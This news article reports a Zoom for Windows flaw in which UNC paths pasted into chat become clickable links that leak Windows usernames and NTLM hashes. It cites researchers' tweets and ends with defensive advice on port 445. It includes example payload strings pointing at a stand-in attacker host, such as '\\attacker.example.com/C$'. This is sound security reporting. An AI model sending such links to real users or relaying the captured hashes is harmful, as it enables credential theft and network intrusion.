Attackers can use Zoom to steal users’ Windows credentials with no warning

reader comments

93 with 67 posters participating, including story author

Share this story

Users of Zoom for Windows beware: the widely used software has a vulnerability that allows attackers to steal your operating system credentials, researchers said.

Discovery of the currently unpatched vulnerability comes as Zoom usage has soared in the wake of the coronavirus pandemic. With massive numbers of people working from home, they rely on Zoom to connect with co-workers, customers, and partners. Many of these home users are connecting to sensitive work networks through temporary or improvised means that don’t have the benefit of enterprise-grade firewalls found on-premises.

Embed network location here

Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using. The Zoom app for Windows automatically converts these so-called universal naming convention strings—such as \\attacker.example.com/C$—into clickable links. In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes

to the address contained in the link.

Attackers can then use the credentials to access shared network resources, such as Outlook servers and storage devices. Typically, resources on a Windows network will accept the NTLM hash when authenticating a device. That leaves the networks open to so-called pass-the-hash attacks that don't require a cracking technique to convert the hash to its corresponding plain-text password.

"It's quite a shortcoming from Zoom," Matthew Hickey, cofounder of the security boutique Hacker House, told me. "It's a very trivial bug. With more of us working from home now, it's even easier to exploit that bug."

More than 24 hours after receiving a request to comment and nine hours after this post went live, a Zoom representative emailed with the follow statement: "At Zoom, ensuring the privacy and security of our users and their data is paramount. We are aware of the UNC issue and are working to address it."

The vulnerability was first described last week by a researcher who uses the Twitter handle @_g0dmode. He wrote: "#Zoom chat allows you to post links such as \\x.x.x.x\xyz to attempt to capture Net-NTLM hashes if clicked by other users.

> *#Zoom chat allows you to post links such as \\x.x.x.x\xyz to attempt to capture Net-NTLM hashes if clicked by other users.*
>
> *— Mitch (@_g0dmode) March 23, 2020*

On Tuesday, Hickey expanded on the discovery. He showed in one tweet how the Zoom Windows client exposed the credentials that could be used to access restricted parts of a Windows network.

"Hi @zoom_us & @NCSC," Hickey wrote. "Here is an example of exploiting the Zoom Windows client using UNC path injection to expose credentials for use in SMBRelay attacks. The screen shot below shows an example UNC path link and the credentials

being exposed (redacted).”

The screenshot shows the Windows username as Bluemoon/HackerFantastic. Immediately below, the NTLM hash appears, although Hickey redacted most of it in the image he posted.

> *Hi @zoom_us & @NCSC – here is an example of exploiting the Zoom Windows client using UNC path injection to expose credentials for use in SMBRelay attacks. The screen shot below shows an example UNC path link and the credentials being exposed (redacted). pic.twitter.com/gjWXas7TMO*
>
> *— Hacker Fantastic (@hackerfantastic) March 31, 2020*

Attacks can be mounted by people posing as a legitimate meeting participant or during so-called Zoom bombing raids, in which trolls access a meeting not secured by a password and bombard everyone else with offensive or harassing images.

Protect yourself

While the attack works only against Windows users, Hickey said attacks can be launched using any form of Zoom, again, by sending targets a UNC location in a text message. When Windows users click on the link while they’re connected to certain unsecured machines or networks, the Zoom app will send the credentials over port 445, which is used to transmit traffic related to Windows SMB and Active Directory services.

In the event that port 445 is closed to the Internet—either by a device or network firewall or through an ISP that blocks it—the attack won’t work. But it’s hardly a given that this egress will be closed on many Zoom users’ networks. The events of the past month have left millions of people working from home without the same levels of IT and security support they get when working on premises. That makes it more likely that port 445 is open, either because of an oversight or because

the port is needed to connect to enterprise resources.

Zoom’s statement didn’t indicate when a fix will be in place. Until then, Windows users should be extra suspicious of chat messages that contain links. When possible, users should also ensure that port 445 is either blocked or can access only trusted addresses on the Internet.

https://arstechnica.com/?p=1664925